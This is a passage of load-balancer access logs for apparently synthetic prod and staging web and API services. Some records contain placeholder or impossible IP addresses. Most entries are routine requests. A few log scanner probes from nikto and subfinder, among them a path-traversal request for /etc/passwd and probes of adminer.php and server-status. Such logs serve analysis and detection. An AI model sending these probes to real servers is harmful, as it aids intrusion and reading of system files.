"Root=1-6723bf08-9a971a7c3a8e41689f3821d4" "prod-web-alb.example.com" "-" 4 2024-11-01T00:31:52.104006Z "forward" "-" "-" "10.0.122.144:443" "302" "-" "-" -https 2024-11-01T00:31:53.919563Z staging-alb 56.121.173.249:41704 76.40.126.61:80 0.114947 0.700185 0.011928 200 200 3 656 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf09-edd77dd953304d288c13ec92" "staging-alb.example.com" "-" 1 2024-11-01T00:31:53.919563Z "forward" "-" "-" "76.40.126.61:80" "200" "-" "-" -https 2024-11-01T00:31:55.139679Z prod-api-alb 61.198.185.218:27105 10.0.2.247:443 0.051929 0.351707 0.068744 302 302 11 9103 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf0b-b4dad9cb97644967a88b289b" "prod-api-alb.example.com" "-" 2 2024-11-01T00:31:55.139679Z "forward" "-" "-" "10.0.2.247:443" "302" "-" "-" -https 2024-11-01T00:31:55.903523Z prod-web-alb 73.68.118.49:48555 10.0.18.72:443 0.011167 0.210475 0.095306 200 200 629 9770 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf0b-3b9b85c585154bf292aff8eb" "prod-web-alb.example.com" "-" 1 2024-11-01T00:31:55.903523Z "forward" "-" "-" "10.0.18.72:443" "200" "-" "-" -https 2024-11-01T00:31:56.128018Z prod-api-alb 234.60.95.219:45261 10.0.139.121:443 0.091555 0.319802 0.040254 200 200 428 4984 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf0c-aec7dd7b14f1482789ba1138" "prod-api-alb.example.com" "-" 6 2024-11-01T00:31:56.128018Z "forward" "-" "-" "10.0.139.121:443" "200" "-" "-" -http 2024-11-01T00:31:56.609607Z staging-alb 222.133.24.180:32075 103.96.85.87:443 0.006859 0.094024 0.126605 301 301 217 11634 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf0c-e9c33a66632c44d89303f5f7" "staging-alb.example.com" "-" 10 2024-11-01T00:31:56.609607Z "forward" "-" "-" "103.96.85.87:443" "301" "-" "-" -https 2024-11-01T00:31:57.062478Z prod-api-alb 45.155.205.157:31867 10.0.24.182:443 0.029126 0.104174 0.018447 404 404 180 5771 "GET /../../../etc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf0d-016f5c45c5084f2985d715df" "-" "-" 2 2024-11-01T00:31:57.062478Z "forward" "-" "-" "10.0.24.182:443" "404" "-" "-" -https 2024-11-01T00:31:57.838709Z prod-api-alb 155.138.101.21:47316 10.0.126.169:443 0.072482 0.287228 0.066447 301 301 883 5599 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf0d-581e8be510154449bc9b42c2" "prod-api-alb.example.com" "-" 1 2024-11-01T00:31:57.838709Z "forward" "-" "-" "10.0.126.169:443" "301" "-" "-" -http 2024-11-01T00:31:59.121351Z staging-alb 132.59.7.134:27154 36.168.198.238:443 0.108198 0.643117 0.139927 404 404 683 10430 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf0f-121ea35e9e754b6c889334f2" "staging-alb.example.com" "-" 2 2024-11-01T00:31:59.121351Z "forward" "-" "-" "36.168.198.238:443" "404" "-" "-" -https 2024-11-01T00:31:59.566493Z staging-alb 52.61.19.191:37065 25.110.115.209:80 0.017567 0.450968 0.135495 302 302 659 6920 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf0f-d7180e12013642139dda0ccc" "staging-alb.example.com" "-" 3 2024-11-01T00:31:59.566493Z "forward" "-" "-" "25.110.115.209:80" "302" "-" "-" -https 2024-11-01T00:32:00.051710Z prod-web-alb 20.22.99.6:14599 10.0.245.39:443 0.060933 0.091467 0.041259 200 200 549 10447 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf10-16e71361922e46728128fefb" "prod-web-alb.example.com" "-" 7 2024-11-01T00:32:00.051710Z "forward" "-" "-" "10.0.245.39:443" "200" "-" "-" -https 2024-11-01T00:32:00.974840Z prod-api-alb 103.194.47.66:15314 10.0.16.230:443 0.064812 0.461483 0.023124 302 302 400 7117 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf10-c79d505a306f4f5ea29aad59" "prod-api-alb.example.com" "-" 3 2024-11-01T00:32:00.974840Z "forward" "-" "-" "10.0.16.230:443" "302" "-" "-" -http 2024-11-01T00:32:01.628084Z staging-alb 198.155.92.0:64803 212.76.99.20:80 0.130063 0.747092 0.073244 200 200 447 10786 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf11-0d2559a0834b4731bb2063b2" "staging-alb.example.com" "-" 3 2024-11-01T00:32:01.628084Z "forward" "-" "-" "212.76.99.20:80" "200" "-" "-" -https 2024-11-01T00:32:01.802650Z prod-web-alb 232.29.7.249:63989 10.0.59.187:443 0.056728 0.181340 0.029485 301 301 130 9170 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf11-da72366046d14ac8aa6143bf" "prod-web-alb.example.com" "-" 1 2024-11-01T00:32:01.802650Z "forward" "-" "-" "10.0.59.187:443" "301" "-" "-" -https 2024-11-01T00:32:03.677924Z prod-web-alb 107.215.88.64:55583 10.0.75.37:443 0.090297 0.366069 0.042444 200 200 624 7415 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf13-70e265853c534b76b007e649" "prod-web-alb.example.com" "-" 7 2024-11-01T00:32:03.677924Z "forward" "-" "-" "10.0.75.37:443" "200" "-" "-" -https 2024-11-01T00:32:03.831504Z prod-api-alb 27.252.202.108:25713 10.0.207.208:443 0.050582 0.068159 0.013704 302 302 494 10898 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf13-b59d5e2bbd4d46bd8543239f" "prod-api-alb.example.com" "-" 6 2024-11-01T00:32:03.831504Z "forward" "-" "-" "10.0.207.208:443" "302" "-" "-" -http 2024-11-01T00:32:05.260243Z staging-alb 149.227.50.221:41749 99.53.212.158:443 0.106667 0.605259 0.142460 200 200 126 10922 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf15-af83f73213944f86a7e0ab98" "staging-alb.example.com" "-" 5 2024-11-01T00:32:05.260243Z "forward" "-" "-" "99.53.212.158:443" "200" "-" "-" -https 2024-11-01T00:32:06.440294Z staging-alb 221.179.212.147:36229 104.94.39.71:80 0.067326 0.215185 0.119209 404 404 235 6295 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf16-19d75a15aada46d9bdab4474" "staging-alb.example.com" "-" 3 2024-11-01T00:32:06.440294Z "forward" "-" "-" "104.94.39.71:80" "404" "-" "-" -https 2024-11-01T00:32:07.702614Z staging-alb 99.187.70.169:30680 95.84.106.182:443 0.038600 0.132238 0.000119 404 404 910 3224 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf17-e073dd38b8a64e1799164b4e" "staging-alb.example.com" "-" 1 2024-11-01T00:32:07.702614Z "forward" "-" "-" "95.84.106.182:443" "404" "-" "-" -https 2024-11-01T00:32:09.430899Z prod-api-alb 22.195.121.88:20499 10.0.110.4:443 0.006893 0.371161 0.016930 404 404 49 6380 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf19-b14d5da74a3d41ef86217e16" "prod-api-alb.example.com" "-" 7 2024-11-01T00:32:09.430899Z "forward" "-" "-" "10.0.110.4:443" "404" "-" "-" -https 2024-11-01T00:32:10.510726Z prod-web-alb 228.137.163.187:12910 10.0.89.74:443 0.054745 0.433423 0.069114 200 200 137 11951 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf1a-cebd272b85574d8cb2961008" "prod-web-alb.example.com" "-" 2 2024-11-01T00:32:10.510726Z "forward" "-" "-" "10.0.89.74:443" "200" "-" "-" -https 2024-11-01T00:32:10.730749Z prod-web-alb 196.12.234.48:45149 10.0.53.205:443 0.077038 0.320563 0.045894 200 200 317 12998 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf1a-f9090ca778ae4a74ae3c6a76" "prod-web-alb.example.com" "-" 7 2024-11-01T00:32:10.730749Z "forward" "-" "-" "10.0.53.205:443" "200" "-" "-" -http 2024-11-01T00:32:11.746954Z staging-alb 193.99.158.251:58015 229.71.231.238:8080 0.144563 0.145787 0.141216 200 200 202 356 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf1b-92cce0c3ee214704b049cb72" "staging-alb.example.com" "-" 5 2024-11-01T00:32:11.746954Z "forward" "-" "-" "229.71.231.238:8080" "200" "-" "-" -https 2024-11-01T00:32:13.611962Z prod-web-alb 171.152.34.230:57504 10.0.79.176:443 0.039627 0.159120 0.064411 200 200 261 14103 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf1d-67fc450b73a74e289fbcb76e" "prod-web-alb.example.com" "-" 8 2024-11-01T00:32:13.611962Z "forward" "-" "-" "10.0.79.176:443" "200" "-" "-" -https 2024-11-01T00:32:14.137770Z prod-web-alb 62.126.255.118:36128 10.0.28.21:443 0.022695 0.091421 0.011188 302 302 366 6965 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf1e-26d6f3759a544ed199720f1f" "prod-web-alb.example.com" "-" 1 2024-11-01T00:32:14.137770Z "forward" "-" "-" "10.0.28.21:443" "302" "-" "-" -https 2024-11-01T00:32:14.474479Z prod-api-alb 45.155.205.66:22997 10.0.38.91:443 0.070691 0.245437 0.077942 404 404 192 6562 "PUT /server-status HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf1e-3608b2b8b5f94e6fa7016751" "-" "-" 0 2024-11-01T00:32:14.474479Z "forward" "-" "-" "10.0.38.91:443" "404" "-" "-" -http 2024-11-01T00:32:15.173851Z staging-alb 117.132.226.156:39088 28.97.168.24:80 0.008954 0.196632 0.071980 200 200 835 13844 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf1f-d8f68d6d14b444ab851f225b" "staging-alb.example.com" "-" 6 2024-11-01T00:32:15.173851Z "forward" "-" "-" "28.97.168.24:80" "200" "-" "-" -https 2024-11-01T00:32:15.990092Z prod-api-alb 103.234.85.243:27638 10.0.164.171:443 0.034291 0.370739 0.098259 200 200 894 1345 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf1f-0d02fed890114241b4bbe2f3" "prod-api-alb.example.com" "-" 5 2024-11-01T00:32:15.990092Z "forward" "-" "-" "10.0.164.171:443" "200" "-" "-" -https 2024-11-01T00:32:16.248762Z prod-web-alb 156.203.128.188:57852 10.0.169.6:443 0.013207 0.290550 0.026668 404 404 713 14276 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf20-ba60f964aad74efe8de1f4b6" "prod-web-alb.example.com" "-" 3 2024-11-01T00:32:16.248762Z "forward" "-" "-" "10.0.169.6:443" "404" "-" "-" -https 2024-11-01T00:32:17.705478Z prod-web-alb 191.241.89.52:18338 10.0.37.242:443 0.051986 0.366013 0.055494 200 200 179 13841 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf21-fb50e64274f744f8902b8a52" "prod-web-alb.example.com" "-" 8 2024-11-01T00:32:17.705478Z "forward" "-" "-" "10.0.37.242:443" "200" "-" "-" -https 2024-11-01T00:32:18.776315Z prod-api-alb 28.18.113.12:28087 10.0.206.250:443 0.056592 0.299790 0.036617 200 200 266 2498 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf22-f980bbf33a0447c1a8e40581" "prod-api-alb.example.com" "-" 4 2024-11-01T00:32:18.776315Z "forward" "-" "-" "10.0.206.250:443" "200" "-" "-" -https 2024-11-01T00:32:19.264052Z staging-alb 41.253.118.134:57909 127.213.170.56:80 0.055516 0.749013 0.075522 302 302 70 4406 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf23-346241721e68431cbb7b4431" "staging-alb.example.com" "-" 10 2024-11-01T00:32:19.264052Z "forward" "-" "-" "127.213.170.56:80" "302" "-" "-" -https 2024-11-01T00:32:19.995526Z staging-alb 192.180.2.218:64806 71.48.222.216:80 0.098602 0.319145 0.105082 301 301 235 5969 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf23-55199ff378954664b7cd6a0c" "staging-alb.example.com" "-" 10 2024-11-01T00:32:19.995526Z "forward" "-" "-" "71.48.222.216:80" "301" "-" "-" -https 2024-11-01T00:32:21.323932Z staging-alb 209.241.40.168:58393 46.11.15.249:8080 0.056314 0.179186 0.125432 200 200 304 6429 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf25-74f8a484d0a042a7aae273e6" "staging-alb.example.com" "-" 2 2024-11-01T00:32:21.323932Z "forward" "-" "-" "46.11.15.249:8080" "200" "-" "-" -http 2024-11-01T00:32:22.116550Z staging-alb 64.180.58.57:48019 239.147.150.149:8080 0.104494 0.077802 0.067603 200 200 528 8554 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf26-0ff5ffef5c2341c9891b53f2" "staging-alb.example.com" "-" 5 2024-11-01T00:32:22.116550Z "forward" "-" "-" "239.147.150.149:8080" "200" "-" "-" -https 2024-11-01T00:32:23.752317Z prod-api-alb 183.135.239.190:45323 10.0.221.112:443 0.039315 0.173536 0.090840 200 200 262 8453 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf27-37545a49c9134d189eda0b44" "prod-api-alb.example.com" "-" 7 2024-11-01T00:32:23.752317Z "forward" "-" "-" "10.0.221.112:443" "200" "-" "-" -https 2024-11-01T00:32:24.233024Z prod-web-alb 185.181.55.98:17520 10.0.211.239:443 0.026077 0.401179 0.087779 403 403 147 3265 "POST /adminer.php HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf28-b32367c62edb4f2699ac89ae" "-" "-" 0 2024-11-01T00:32:24.233024Z "forward" "-" "-" "10.0.211.239:443" "403" "-" "-" -http 2024-11-01T00:32:25.636864Z staging-alb 220.32.13.158:51021 81.70.215.184:443 0.107874 0.173581 0.030064 200 200 962 2420 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf29-ba447d4a484043be82251c2d" "staging-alb.example.com" "-" 4 2024-11-01T00:32:25.636864Z "forward" "-" "-" "81.70.215.184:443" "200" "-" "-" -http 2024-11-01T00:32:26.361022Z staging-alb 119.144.133.121:35646 156.206.64.106:80 0.123242 0.429537 0.018062 200 200 371 13852 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf2a-6d35387de0184f63be4593e0" "staging-alb.example.com" "-" 3 2024-11-01T00:32:26.361022Z "forward" "-" "-" "156.206.64.106:80" "200" "-" "-" -https 2024-11-01T00:32:26.644279Z prod-web-alb 40.73.73.68:49446 10.0.174.152:443 0.029425 0.478371 0.035280 404 404 510 3495 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf2a-d5965b7e59e1495da533c4dd" "prod-web-alb.example.com" "-" 10 2024-11-01T00:32:26.644279Z "forward" "-" "-" "10.0.174.152:443" "404" "-" "-" -https 2024-11-01T00:32:26.830905Z prod-web-alb 125.102.129.45:50307 10.0.17.64:443 0.048877 0.260590 0.031220 200 200 734 7911 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf2a-1f7a38c99abe4c319fd62070" "prod-web-alb.example.com" "-" 2 2024-11-01T00:32:26.830905Z "forward" "-" "-" "10.0.17.64:443" "200" "-" "-" -http 2024-11-01T00:32:28.736733Z staging-alb 3.183.103.126:10468 87.94.38.121:443 0.016318 0.133139 0.101748 404 404 263 4107 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf2c-ed2c981d6e8f4b28af1ece48" "staging-alb.example.com" "-" 7 2024-11-01T00:32:28.736733Z "forward" "-" "-" "87.94.38.121:443" "404" "-" "-" -https 2024-11-01T00:32:30.384200Z staging-alb 131.60.182.55:52710 164.237.112.199:443 0.023848 0.172237 0.051929 200 200 11 2919 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf2e-a2d43ef355f64e9fbc5f7c09" "staging-alb.example.com" "-" 5 2024-11-01T00:32:30.384200Z "forward" "-" "-" "164.237.112.199:443" "200" "-" "-" -https 2024-11-01T00:32:31.473691Z prod-web-alb 251.122.33.103:33731 10.0.127.191:443 0.047428 0.121136 0.001020 200 200 709 13469 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf2f-39bc6003c33c4c4db9f4d6f0" "prod-web-alb.example.com" "-" 3 2024-11-01T00:32:31.473691Z "forward" "-" "-" "10.0.127.191:443" "200" "-" "-" -http 2024-11-01T00:32:32.429072Z staging-alb 178.143.38.238:39485 140.41.188.99:80 0.051905 0.553182 0.084917 200 200 808 9507 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf30-f6bac45c2f1f4fcbae719cce" "staging-alb.example.com" "-" 5 2024-11-01T00:32:32.429072Z "forward" "-" "-" "140.41.188.99:80" "200" "-" "-" -http 2024-11-01T00:32:33.625021Z staging-alb 217.16.230.209:45137 21.50.140.62:80 0.139986 0.083290 0.002639 200 200 813 5629 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf31-067f22b8155046fca37c5ce4" "staging-alb.example.com" "-" 5 2024-11-01T00:32:33.625021Z "forward" "-" "-" "21.50.140.62:80" "200" "-" "-" -https 2024-11-01T00:32:33.892368Z prod-api-alb 146.34.195.22:24809 10.0.107.41:443 0.035445 0.409091 0.067605 302 302 654 11023 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf31-9c30f3c78912467a8ce3eb49" "-" "-" 8 2024-11-01T00:32:33.892368Z "forward" "-" "-" "10.0.107.41:443" "302" "-" "-" -https 2024-11-01T00:32:34.238133Z prod-api-alb 200.47.40.228:24256 10.0.180.211:443 0.029213 0.037610 0.033499 200 200 16 10217 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf32-c4bdb1a443454cbc84efe408" "prod-api-alb.example.com" "-" 3 2024-11-01T00:32:34.238133Z "forward" "-" "-" "10.0.180.211:443" "200" "-" "-" -https 2024-11-01T00:32:34.629396Z prod-web-alb 178.83.109.186:39613 10.0.164.138:443 0.034701 0.464951 0.023370 301 301 469 11573 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 